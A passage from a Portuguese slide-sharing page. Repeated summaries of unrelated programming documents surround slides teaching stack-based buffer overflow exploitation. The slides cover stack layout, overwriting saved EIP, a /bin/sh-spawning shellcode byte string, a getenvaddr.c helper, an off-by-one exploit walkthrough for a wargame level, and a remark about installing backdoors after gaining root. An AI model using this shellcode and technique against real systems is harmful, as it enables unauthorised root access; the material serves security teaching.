Este documento discute conceitos de segurança de sistemas operacionais como formatos de arquivos binários, layout de memória, pilha, buffer overflows e técnicas de exploração de vulnerabilidades como smashing the stack. O objetivo é controlar o fluxo de execução de um programa através de um buffer overflow para executar código malicioso, como um shellcode, que concede acesso root ao atacante.
O documento fornece uma introdução sobre registradores em sistemas x86, descrevendo os principais registradores de uso geral e especiais, como EAX, EBX, EIP e EFLAGS. Explica a organização dos registradores e diferenças entre as sintaxes AT&T e Intel.
Este documento apresenta uma aula sobre Python, abordando: 1) revisão dos conceitos básicos da linguagem; 2) exemplo de programa que calcula a média de notas de alunos; 3) uso de funções como input e convertendo strings para números; 4) desafio da aula anterior para ordenar nomes digitados.
O documento apresenta uma aula sobre Python, abordando os seguintes tópicos:
- Criação e chamada de funções;
- Uso de listas, tuplas, conjuntos e dicionários;
- Importação e uso dos módulos random, urllib2 e zipfile;
- Criação de módulos e pacotes próprios.
Este documento apresenta uma agenda para um mini-curso gratuito sobre a linguagem de programação Go. A agenda inclui tópicos como motivação, configuração de ambiente, estrutura da linguagem, funções, valores compostos, tipos personalizados, módulos, execução concorrente e utilitários. O objetivo é fornecer uma introdução abrangente aos principais recursos e conceitos da linguagem Go.
Python é uma linguagem de programação fácil de aprender e poderosa, orientada a objetos com vasta biblioteca de classes e funções. O documento descreve características de Python, quem a usa, versões, como instalar, editores, conceitos básicos como variáveis, strings, listas, desvios condicionais e laços, além de módulos e exemplos de uso.
C. Bombardelli - Desassembler routine in text mode built in assembly languageClovis Bombardelli
Este documento descreve um código assembly para desassemblar instruções Intel/AMD. Ele fornece rotinas para ler o código de máquina e imprimir a representação assembly correspondente na memória. As rotinas auxiliares tratam da impressão de operandos, registradores e prefixos de segmento de acordo com os bits de controle armazenados em CH. O programa funciona lendo bytes de código sequencialmente e chamando as rotinas FF apropriadas.
Este trabalho consiste na criação de um simulador funcional onde cada instrução executada demora quatro ciclos para completar. Estes ciclos
são denominados: IF, ID, EX/MEM e WB.
O documento descreve o DB-API e o módulo SQLite para trabalhar com bancos de dados no Python. O DB-API define padrões para conexões e cursores. O SQLite é um banco de dados embutido no Python que armazena dados em arquivos e suporta transações e bancos de até 2TB. O módulo SQLite3 permite executar comandos SQL como inserções e consultas.
O documento fornece uma introdução sobre registradores em sistemas x86, descrevendo os principais registradores de uso geral e especiais, como EAX, EBX, EIP e EFLAGS. Explica a organização dos registradores e diferenças entre as sintaxes AT&T e Intel.
Este documento apresenta uma aula sobre Python, abordando: 1) revisão dos conceitos básicos da linguagem; 2) exemplo de programa que calcula a média de notas de alunos; 3) uso de funções como input e convertendo strings para números; 4) desafio da aula anterior para ordenar nomes digitados.
O documento apresenta uma aula sobre Python, abordando os seguintes tópicos:
- Criação e chamada de funções;
- Uso de listas, tuplas, conjuntos e dicionários;
- Importação e uso dos módulos random, urllib2 e zipfile;
- Criação de módulos e pacotes próprios.
Este documento apresenta uma agenda para um mini-curso gratuito sobre a linguagem de programação Go. A agenda inclui tópicos como motivação, configuração de ambiente, estrutura da linguagem, funções, valores compostos, tipos personalizados, módulos, execução concorrente e utilitários. O objetivo é fornecer uma introdução abrangente aos principais recursos e conceitos da linguagem Go.
Python é uma linguagem de programação fácil de aprender e poderosa, orientada a objetos com vasta biblioteca de classes e funções. O documento descreve características de Python, quem a usa, versões, como instalar, editores, conceitos básicos como variáveis, strings, listas, desvios condicionais e laços, além de módulos e exemplos de uso.
C. Bombardelli - Desassembler routine in text mode built in assembly languageClovis Bombardelli
Este documento descreve um código assembly para desassemblar instruções Intel/AMD. Ele fornece rotinas para ler o código de máquina e imprimir a representação assembly correspondente na memória. As rotinas auxiliares tratam da impressão de operandos, registradores e prefixos de segmento de acordo com os bits de controle armazenados em CH. O programa funciona lendo bytes de código sequencialmente e chamando as rotinas FF apropriadas.
Este trabalho consiste na criação de um simulador funcional onde cada instrução executada demora quatro ciclos para completar. Estes ciclos
são denominados: IF, ID, EX/MEM e WB.
O documento descreve o DB-API e o módulo SQLite para trabalhar com bancos de dados no Python. O DB-API define padrões para conexões e cursores. O SQLite é um banco de dados embutido no Python que armazena dados em arquivos e suporta transações e bancos de até 2TB. O módulo SQLite3 permite executar comandos SQL como inserções e consultas.
O PHP é uma linguagem de script interpretada e executada em tempo de execução, normalmente utilizada para criar aplicações web. Ela é portável, de tipagem dinâmica e suporta programação procedural e orientada a objetos. O PHP é amplamente usado por sites como Wikipedia, Facebook e WordPress.
Desenvolvendo Extensões
- Discute como desenvolver extensões para o PHP, incluindo como gerar o esqueleto de uma extensão, compilá-la, lidar com tipos de dados, arrays, recursos, orientação a objetos e mais.
O documento apresenta o uso do SQLAlchemy para mapear objetos Python a tabelas de um banco de dados. É criada uma engine para conexão com o banco SQLite e uma classe Contato é mapeada à tabela "agenda". Um programa permite adicionar, listar e sair de contatos de forma interativa na sessão.
O documento discute sobre memória de computadores e ponteiros em C. Explica que cada byte na memória tem um endereço numérico e cada objeto ocupa bytes consecutivos, tendo um endereço associado. Também define ponteiros como variáveis que armazenam endereços de memória e discute operações com ponteiros.
O documento descreve funções e conceitos relacionados a strings em C. As principais ideias são:
1) Strings em C são armazenadas como arrays de caracteres terminados pelo caractere '\0'.
2) Funções como scanf(), gets(), puts() e printf() são usadas para entrada, saída e formatação de strings.
3) Outras funções como strcpy(), strcat() e strcmp() manipulam e comparam strings.
O documento descreve conceitos sobre ponteiros, structs e buffers circulares em C. Especificamente, apresenta: 1) como ponteiros armazenam endereços de memória e apontam para variáveis; 2) como structs agrupam variáveis de diferentes tipos; e 3) como buffers circulares implementam filas FIFO usando um vetor com ponteiros de início e fim.
O documento apresenta as principais funções para manipulação de strings em C, incluindo scanf(), gets(), fgets(), puts(), strcpy(), strcat(), strcmp() e outras. Essas funções permitem ler, escrever, copiar e comparar strings no código C.
O documento fornece um resumo sobre a linguagem de programação PHP. Ele descreve que o PHP foi desenvolvido originalmente por Rasmus Lerdorf em 1994 e passou por diversas versões desde então. Também apresenta as principais características, funcionalidades, tipos de dados e estruturas suportadas pela linguagem PHP.
O documento descreve a arquitetura MIPS de 32 bits, incluindo exemplos de compilação de instruções em linguagem de montagem e máquina MIPS. Ele contém 10 exemplos de compilação de diferentes estruturas de programação como atribuições, acesso a memória, laços e condicionais compilados em instruções MIPS. Além disso, fornece tabelas com os códigos binários dos registradores, instruções e outros detalhes da arquitetura MIPS.
1) O documento discute funções no PHP, introduzindo seus conceitos e sintaxe básicos.
2) É apresentado como declarar funções, passar argumentos, utilizar retornos e chamá-las.
3) Também são discutidas funções lambda, funções em arquivos externos e a utilização de uma estrutura de pastas padrão para aplicações PHP.
O documento fornece um resumo sobre funções no PHP. Ele discute como definir funções, chamá-las, passar parâmetros, escopo de variáveis, retornar valores e outros aspectos importantes sobre funções no PHP.
Python é uma linguagem de programação multi-paradigma, interpretada e de tipagem dinâmica que possui uma biblioteca extensa. O documento apresenta os objetivos, características, sintaxe básica, controle de fluxo, orientação a objetos, programação funcional e módulos em Python.
O documento descreve as características da linguagem de programação funcional Standard ML e sua extensão CPN ML, incluindo tipos de dados, declaração de variáveis e funções, recursividade, casamento de padrões e inscrições para modelagem de redes de Petri coloridas.
Este documento fornece uma introdução aos conceitos e funções básicas da biblioteca Allegro para desenvolvimento de jogos e aplicações gráficas em C/C++, abordando tópicos como inicialização, manipulação de sprites, texto, som, teclado, mouse e buffer duplo.
O documento apresenta uma introdução à linguagem C, incluindo seu histórico, estrutura básica de programas, diretivas para incluir bibliotecas, e exemplos de entrada e saída de dados. É apresentado o ambiente Dev-C++ para desenvolvimento de programas em C.
O documento apresenta uma introdução à linguagem C, incluindo seu histórico, estrutura básica de programas, diretivas para incluir bibliotecas, e exemplos de entrada e saída de dados. É descrito como usar o ambiente de desenvolvimento Dev-C++ para editar, compilar e executar programas em C.
O documento discute arrays no PHP, incluindo como criá-los, preenchê-los com valores, manipular seus índices e valores, usar funções para arrays e laços de repetição foreach. Também aborda arrays multidimensionais e exercícios para praticar os conceitos apresentados.
O documento descreve como o Python foi utilizado para automatizar a geração de listas de pontos para subestações do setor elétrico. O autor desenvolveu um script em Python que lê dados de configuração de uma planilha Excel e gera automaticamente uma nova planilha contendo a lista de pontos para cada subestação. O script facilitou o trabalho ao eliminar tarefas manuais repetitivas e reduzir erros.
O documento descreve como construir um analisador de executáveis. Ele explica o que é um analisador, como funciona o formato de arquivos executáveis, e como interpretar os bytes brutos de um arquivo para extrair informações úteis. O documento também apresenta o pev, um analisador de arquivos PE de código aberto desenvolvido pelo autor que pode imprimir cabeçalhos e outras informações técnicas de arquivos executáveis.
O documento explica que a memória de um computador é composta de bytes, cada um com um endereço único. Objetos na memória como variáveis e strings ocupam bytes consecutivos, e cada objeto tem seu próprio endereço. Alocação dinâmica de memória permite reservar espaços de tamanho variável usando funções como malloc() e free().
A vulnerabilidade de buffer overflow na aplicação Easy RM to MP3 Converter permite sobrescrever o registro EIP. Após determinar o tamanho exato do buffer, o palestrante mostra como direcionar o fluxo de execução para seu código malicioso ("shellcode") colocado na pilha. Ele então explica como encontrar um local seguro na memória para armazenar o shellcode e faz com que o EIP pule para lá através do opcode "jmp esp".
O PHP é uma linguagem de script interpretada e executada em tempo de execução, normalmente utilizada para criar aplicações web. Ela é portável, de tipagem dinâmica e suporta programação procedural e orientada a objetos. O PHP é amplamente usado por sites como Wikipedia, Facebook e WordPress.
Desenvolvendo Extensões
- Discute como desenvolver extensões para o PHP, incluindo como gerar o esqueleto de uma extensão, compilá-la, lidar com tipos de dados, arrays, recursos, orientação a objetos e mais.
O documento apresenta o uso do SQLAlchemy para mapear objetos Python a tabelas de um banco de dados. É criada uma engine para conexão com o banco SQLite e uma classe Contato é mapeada à tabela "agenda". Um programa permite adicionar, listar e sair de contatos de forma interativa na sessão.
O documento discute sobre memória de computadores e ponteiros em C. Explica que cada byte na memória tem um endereço numérico e cada objeto ocupa bytes consecutivos, tendo um endereço associado. Também define ponteiros como variáveis que armazenam endereços de memória e discute operações com ponteiros.
O documento descreve funções e conceitos relacionados a strings em C. As principais ideias são:
1) Strings em C são armazenadas como arrays de caracteres terminados pelo caractere '\0'.
2) Funções como scanf(), gets(), puts() e printf() são usadas para entrada, saída e formatação de strings.
3) Outras funções como strcpy(), strcat() e strcmp() manipulam e comparam strings.
O documento descreve conceitos sobre ponteiros, structs e buffers circulares em C. Especificamente, apresenta: 1) como ponteiros armazenam endereços de memória e apontam para variáveis; 2) como structs agrupam variáveis de diferentes tipos; e 3) como buffers circulares implementam filas FIFO usando um vetor com ponteiros de início e fim.
O documento apresenta as principais funções para manipulação de strings em C, incluindo scanf(), gets(), fgets(), puts(), strcpy(), strcat(), strcmp() e outras. Essas funções permitem ler, escrever, copiar e comparar strings no código C.
O documento fornece um resumo sobre a linguagem de programação PHP. Ele descreve que o PHP foi desenvolvido originalmente por Rasmus Lerdorf em 1994 e passou por diversas versões desde então. Também apresenta as principais características, funcionalidades, tipos de dados e estruturas suportadas pela linguagem PHP.
O documento descreve a arquitetura MIPS de 32 bits, incluindo exemplos de compilação de instruções em linguagem de montagem e máquina MIPS. Ele contém 10 exemplos de compilação de diferentes estruturas de programação como atribuições, acesso a memória, laços e condicionais compilados em instruções MIPS. Além disso, fornece tabelas com os códigos binários dos registradores, instruções e outros detalhes da arquitetura MIPS.
1) O documento discute funções no PHP, introduzindo seus conceitos e sintaxe básicos.
2) É apresentado como declarar funções, passar argumentos, utilizar retornos e chamá-las.
3) Também são discutidas funções lambda, funções em arquivos externos e a utilização de uma estrutura de pastas padrão para aplicações PHP.
O documento fornece um resumo sobre funções no PHP. Ele discute como definir funções, chamá-las, passar parâmetros, escopo de variáveis, retornar valores e outros aspectos importantes sobre funções no PHP.
Python é uma linguagem de programação multi-paradigma, interpretada e de tipagem dinâmica que possui uma biblioteca extensa. O documento apresenta os objetivos, características, sintaxe básica, controle de fluxo, orientação a objetos, programação funcional e módulos em Python.
O documento descreve as características da linguagem de programação funcional Standard ML e sua extensão CPN ML, incluindo tipos de dados, declaração de variáveis e funções, recursividade, casamento de padrões e inscrições para modelagem de redes de Petri coloridas.
Este documento fornece uma introdução aos conceitos e funções básicas da biblioteca Allegro para desenvolvimento de jogos e aplicações gráficas em C/C++, abordando tópicos como inicialização, manipulação de sprites, texto, som, teclado, mouse e buffer duplo.
O documento apresenta uma introdução à linguagem C, incluindo seu histórico, estrutura básica de programas, diretivas para incluir bibliotecas, e exemplos de entrada e saída de dados. É apresentado o ambiente Dev-C++ para desenvolvimento de programas em C.
O documento apresenta uma introdução à linguagem C, incluindo seu histórico, estrutura básica de programas, diretivas para incluir bibliotecas, e exemplos de entrada e saída de dados. É descrito como usar o ambiente de desenvolvimento Dev-C++ para editar, compilar e executar programas em C.
O documento discute arrays no PHP, incluindo como criá-los, preenchê-los com valores, manipular seus índices e valores, usar funções para arrays e laços de repetição foreach. Também aborda arrays multidimensionais e exercícios para praticar os conceitos apresentados.
O documento descreve como o Python foi utilizado para automatizar a geração de listas de pontos para subestações do setor elétrico. O autor desenvolveu um script em Python que lê dados de configuração de uma planilha Excel e gera automaticamente uma nova planilha contendo a lista de pontos para cada subestação. O script facilitou o trabalho ao eliminar tarefas manuais repetitivas e reduzir erros.
O documento descreve como construir um analisador de executáveis. Ele explica o que é um analisador, como funciona o formato de arquivos executáveis, e como interpretar os bytes brutos de um arquivo para extrair informações úteis. O documento também apresenta o pev, um analisador de arquivos PE de código aberto desenvolvido pelo autor que pode imprimir cabeçalhos e outras informações técnicas de arquivos executáveis.
O documento explica que a memória de um computador é composta de bytes, cada um com um endereço único. Objetos na memória como variáveis e strings ocupam bytes consecutivos, e cada objeto tem seu próprio endereço. Alocação dinâmica de memória permite reservar espaços de tamanho variável usando funções como malloc() e free().
A vulnerabilidade de buffer overflow na aplicação Easy RM to MP3 Converter permite sobrescrever o registro EIP. Após determinar o tamanho exato do buffer, o palestrante mostra como direcionar o fluxo de execução para seu código malicioso ("shellcode") colocado na pilha. Ele então explica como encontrar um local seguro na memória para armazenar o shellcode e faz com que o EIP pule para lá através do opcode "jmp esp".
Principais conceitos técnicas e modelos de programação paralelaIntel Software Brasil
1) O documento apresenta os principais conceitos, técnicas e modelos de programação paralela, incluindo memória compartilhada e distribuída.
2) São discutidos padrões como decomposição de domínio, decomposição de tarefas e pipeline para detectar oportunidades de paralelismo.
3) Ferramentas como OpenMP, Intel TBB, Cilk Plus e MPI são apresentadas para implementar programação paralela em memória compartilhada e distribuída.
Apostila para aprender sobre CPUs e tudo maisGilberto Mota
O documento descreve os principais componentes da Unidade de Processamento Central (CPU): a unidade de controle, a unidade lógica e aritmética e os registradores. A CPU executa instruções em um ciclo de busca-execução, controlado pela unidade de controle.
O documento apresenta um exemplo de programa em assembly para o simulador 8085. Ele define variáveis, inicializa dados na memória e realiza um laço para armazenar um valor em vários endereços de memória consecutivos utilizando instruções como MVI, LXI, MOV, INX e DCR.
1) O documento discute alocação dinâmica de memória em C usando as funções malloc() e free();
2) malloc() aloca memória no heap de forma dinâmica durante a execução do programa e retorna um ponteiro para essa área, enquanto free() libera a memória alocada anteriormente;
3) A alocação dinâmica permite que programas C alocam memória de forma flexível de acordo com as necessidades em tempo de execução.
1) A alocação dinâmica de memória permite que um programa aloca memória durante a execução.
2) As funções malloc() e free() são usadas para alocar e liberar memória dinamicamente do heap.
3) A função malloc() aloca memória do heap e retorna um ponteiro void para a área alocada. A função free() libera a memória alocada anteriormente pelo malloc().
Apresentação dos microntroladores, especialmente da linha pic16f, onde o alvo foi o PIC16f628a, que é bem simples de encontrar para comprar e de programar. Apesar de trabalhar com apenas 8 bits, é o robusto o suficiente para realizar automação que requeira PWM, comparação, USART; 16 I/O; e uma série de outras vantagens.
O documento discute alocação dinâmica de memória em C++. Apresenta as funções new e delete para alocar e desalocar memória no heap durante a execução do programa. Exemplifica o uso dessas funções para alocar variáveis e vetores.
O documento descreve os conceitos de alocação dinâmica de memória em C++. Explica que a memória alocada dinamicamente é obtida do heap e que os operadores new e delete são usados para alocar e liberar essa memória durante a execução do programa.
Este documento discute alocação dinâmica de memória e estruturas na linguagem C. Ele explora conceitos como quando e como alocar memória dinamicamente usando funções como malloc() e free(), e como estruturar dados usando estruturas para agrupar variáveis relacionadas. O documento também aborda tópicos como acessar campos de estruturas, typedef, ponteiros para estruturas e passar estruturas como parâmetros para funções.
Este documento discute como combinar Ruby e Erlang para superar suas deficiências individuais. Ele propõe criar uma arquitetura que permita que as linguagens se beneficiem mutuamente, com Erlang fornecendo programação distribuída e desempenho, enquanto Ruby oferece produtividade e facilidade de desenvolvimento. A biblioteca rinterface é apresentada como uma forma de facilitar a comunicação entre os nós Erlang e aplicações Ruby.
O documento discute os dois tipos de alocação de memória em C: alocação estática, onde o tamanho da memória é definido durante a compilação, e alocação dinâmica, onde o tamanho é definido durante a execução usando funções como malloc() e free(). A alocação dinâmica permite ajustar o tamanho de memória alocada de acordo com as necessidades do programa.
Teste de Intrusão Em Redes corporativasSoftD Abreu
O documento discute exploração de vulnerabilidades de buffer overflow, incluindo:
1) O que é um exploit e como funciona um buffer overflow;
2) Como sobrescrever o endereço de retorno da função usando um shellcode para desviar a execução do programa;
3) Um exemplo de programa vulnerável a buffer overflow usado para demonstrar a técnica.
Este documento resume o que é OWASP (Open Web Application Security Project), incluindo suas publicações e softwares como o WebGoat, que é uma ferramenta educacional para ensinar sobre segurança de aplicações web através de lições sobre ataques como SQL Injection e XSS.
O documento apresenta uma palestra sobre lockpicking, começando com uma introdução sobre o palestrante Luiz Vieira. Em seguida, discute a importância da segurança física, os tipos mais comuns de fechaduras e cadeados, como funcionam as fechaduras, ferramentas e técnicas de lockpicking, legislação sobre o tema e links relacionados. Por fim, fornece contatos do palestrante.
O documento discute técnicas forenses em dispositivos Android, incluindo a identificação do aparelho, aquisição de imagens lógicas e físicas, e localização de dados como contatos, SMS e cache de geolocalização. Ele também apresenta ferramentas como FTK Imager, DD e ADB para aquisição de imagens e acesso root ao dispositivo.
Engenharia social é a arte de manipular pessoas para obter informações ou acesso sem seu consentimento através de enganos. A PNL ensina técnicas para alterar a percepção das pessoas e o SET fornece ferramentas para criar sites falsos e explorar vulnerabilidades para fins de engenharia social.
O documento discute abordagens para segurança em desenvolvimento de software. Ele descreve as principais falhas de adotar apenas normas, testes ou documentação. Recomenda o uso do Software Assurance Maturity Model (SAMM) e do Comprehensive, Lightweight Application Security Process (CLASP) para fornecer uma estrutura para implementar segurança ao longo do ciclo de vida do software.
O documento discute auditoria em sistemas Linux, mencionando ferramentas para análise de vulnerabilidades, logs e boas práticas de segurança. Normas como ISO 27001 e 27002 estabelecem padrões para gestão e boas práticas de segurança da informação. Auditorias internas, externas ou articuladas podem ser realizadas para examinar a segurança do sistema.
O documento resume uma palestra sobre forense computacional com ferramentas de software livre. O palestrante discute os desafios da área, as etapas de uma investigação digital, distribuições Linux para forense, ferramentas abertas e demonstra análises de memória e tráfego de rede.
O documento discute criptografia on-the-fly e segurança em tempo real, apresentando conceitos de criptografia, técnicas como SSL e IPSec, ferramentas livres como GPG e TrueCrypt, e soluções oferecidas pela 4Linux como auditoria de aplicações web e investigação forense digital.
O documento apresenta o Metasploit Framework, um software livre para prova de conceito de vulnerabilidades. Ele discute o que é o Metasploit, como utilizá-lo para prova de conceito e desenvolver exploits, e as principais características do Meterpreter. Além disso, apresenta módulos auxiliares e o uso do Metasploit para testes web.
O documento descreve a história e características da linguagem de programação Python, desde sua criação por Guido van Rossum até versões atuais. Python tem tipagem dinâmica, sintaxe simples e é interpretada, possibilitando programação em diversas plataformas. Existem várias ferramentas para desenvolvimento com Python.
1) O documento discute o Trusted Computing e como softwares livres podem contornar as limitações de privacidade impostas pelo Trusted Computing.
2) O Trusted Computing Group promove padrões para computadores "mais seguros" através do Trusted Platform Module, mas críticos apontam riscos à privacidade do usuário.
3) Softwares livres como o OpenTC Project oferecem alternativas baseadas em código aberto para contornar limitações de privacidade do Trusted Computing.
O documento discute análise de vulnerabilidades em aplicações web, abordando princípios de sistemas web, ataques web, princípios de segurança web, OWASP, ferramentas de análise e auditoria, vulnerabilidades web e oportunidades. O documento também apresenta uma demonstração da ferramenta WebGoat para ensinar sobre segurança em aplicações web.
Mais de Luiz Vieira .´. CISSP, OSCE, GXPN, CEH (13)
3. BINÁRIOS ELF
• ELF == Executable and Linkable Format
• Diferentes segmentos, .text, .data, .bss e assim por diante
• Layout do binário na memória
4. OS SEGMENTOS Topo da Memória
0xFFFFFFFF
• .text (código) Stack
• .data
Nada (vazio)
• .bss
• Heap Heap
• Stack .bss
.data
.text (código) Base da Memória
0x00000000
5. A STACK
• Stack é utilizada para chamada de funções.
• Há 2 registradores na CPU associados à Stack, o EBP (Extended Base Pointer) e o
ESP (Extended Stack Pointer)
• ESP aponta para o topo da Stack, e o EBP aponta para o início do frame.
• Quando uma função é chamada, argumentos, EIP e EBP são inseridos na stack.
• EBP é “setado” para o ESP, e o ESP é diminuído para criar espaço para as variáveis
locais das funções.
8. EXPLOITING: O OBJETIVO
• Nosso objetivo é, de alguma forma, redirecionar o fluxo do programa e conseguir com
que o mesmo execute o que quisermos.
9. EXPLOITING: O OBJETIVO
• Nosso objetivo é, de alguma forma, redirecionar o fluxo do programa e conseguir com
que o mesmo execute o que quisermos.
10. MÉTODO 01: SMASHING THE STACK
Juntando tudo
stack Usando entradas ou dados
EIP salvo que fornecemos, podemos
0x41414141
controlar o valor que será
EBP salvo 0x41414141 escrito sobre o endereço
func_1() de retorno, ou valor do EIP
[ 0x41414141
0x41414141
[ salvo.
0x41414141
• Combinamos o que sabemos sobre
stack e buffer overflows
Memória livre
• Podemos utilizar isso para
redirecionar o fluxo de execução
13. SHOW ME THE MONEY!
stack
EIP salvo 0x41414141 Nós controlamos isso!
EBP salvo 0x41414141
func_1()
[0x41414141 [ Mas agora que controlamos o endereço de
0x41414141 retorno, o que fazemos com isso?
0x41414141
Para onde queremos que o fluxo do programa
vá?
Memória livre
14. SHELLCODE
Exemplo de Shellcode:
• Este é um código que gera uma shell.
“x31xc0xb0x46x31xdbx31xc
• Pode ter diversas variantes.
9xcdx80xebx16x5bx31xc0x8
• Alguns fazem bind em portas, outros 8x43x07x89x5bx08x89x43x
conectam em servidores específicos, 0cxb0x0bx8dx4bx08x8dx53x
alguns geram um shell local, alguns são 0cxcdx80xe8xe5xffxffxffx2fx
62x69x6ex2fx73x68”
bem pequenos, e outros são quebrados em
pedaços.
Gera um processo “/bin/sh”.
• Todos criados para suprir as necessidades
do criador para qualquer propósito que
possa querer, ou para evitar certas
restrições que limitam sua execução.
15. SHELLCODE
• Agora que sabemos que precisamos usar um shellcode, onde o colocamos?
• Há diversas opções, todas dependem de diversos fatores.
• Variáveis de ambiente
• Dentro do próprio buffer overflow
• Alguma outra parte da memória onde possamos escrever
• etc
16. EXEMPLO 01: EXPLOITED
Shellcode in Environment getenvaddr.c :
Variable: #include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int arc, char *argv[]){
char *ptr;
if(argc < 3){
printf(“Usage : %s <env var> <program name>n”,argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf(“%s will be at %pn”,argv[1],ptr);
return 0;
Getting address of }
Environment Variable:
18. EXEMPLO 01: NÓS TEMOS UMA SHELL
• Agora exploramos o programa
• Ganhamos acesso, e conseguimos pular de “tritured” para “root”
• A partir daqui, podemos fazer várias coisas, como instalar backdoors,
módulos do kernel, etc.
19. EXEMPLO 02: EXPLOITED
Pegue o endereço da variável de ambiente SHELLCODE:
Desta vez, não usaremos o NOP Sled, então precisamos ser bem precisos:
20. SMASH THE STACK IO NÍVEL 6: MUNDO REAL
level6.c :
#include <string.h> • Como podemos ver, o programador
// The devil is in the details - nnp
void copy_buffer(char *argv[])
implementou algumas estruturas de
{ verificação para previnir buffer overflows
char buf1[32], buf2[32], buf3[32];
strncpy(buf2, argv[1], 31); • Entretanto, ele introduziu um novo bug,
strncpy(buf3, argv[2], sizeof(buf3)); chamado de off-by-one error
strcpy(buf1, buf3);
}
int main(int argc, char *argv[])
• Ainda podemos sobrecarregar o buffer
{
copy_buffer(argv);
• E ainda podemos sobreescrever o EIP
return 0; para apontar para nosso shellcode
}
21. IO NÍVEL 6: CONTINUAÇÃO
Como as strings funcionam, e são delimitadas na memória:
0xbfbfeea0 0xbfbfeea1 0xbfbfede 0xbfbfedf
0x09 Este é qualquer texto aleatório para ajudar a entender como as strings funcionam 0x00
NULL Byte
Layout do copy_buffer da stack do Nível 6:
0xbfbfaa00 0xbfbfaa20 0xbfbfaa40
buf3[32] buf2[32] buf1[32]
Algum texto aqui 0x00 Mais algum texto aqui 0x00 E alguma string aqui 0x00
22. IO NÍVEL 6: CONTINUAÇÃO
• O problema está nestas 3 linhas:
strncpy(buf2, argv[1], 31);
strncpy(buf3, argv[2], sizeof(buf3));
strncpy(buf1, buf3);
• A primeira copia até 31 bytes, deixando um espaço para o NULL byte no
final.
• A segunda, entretanto, copia até 32 bytes, e portanto, pode não deixar
espaço para um NULL pointer no final, é daí que surge o off-by-one error.
• A terceira linha então copia o buf3 dentro do buf1, e é aqui onde podemos
sobrescrever o EIP salvo.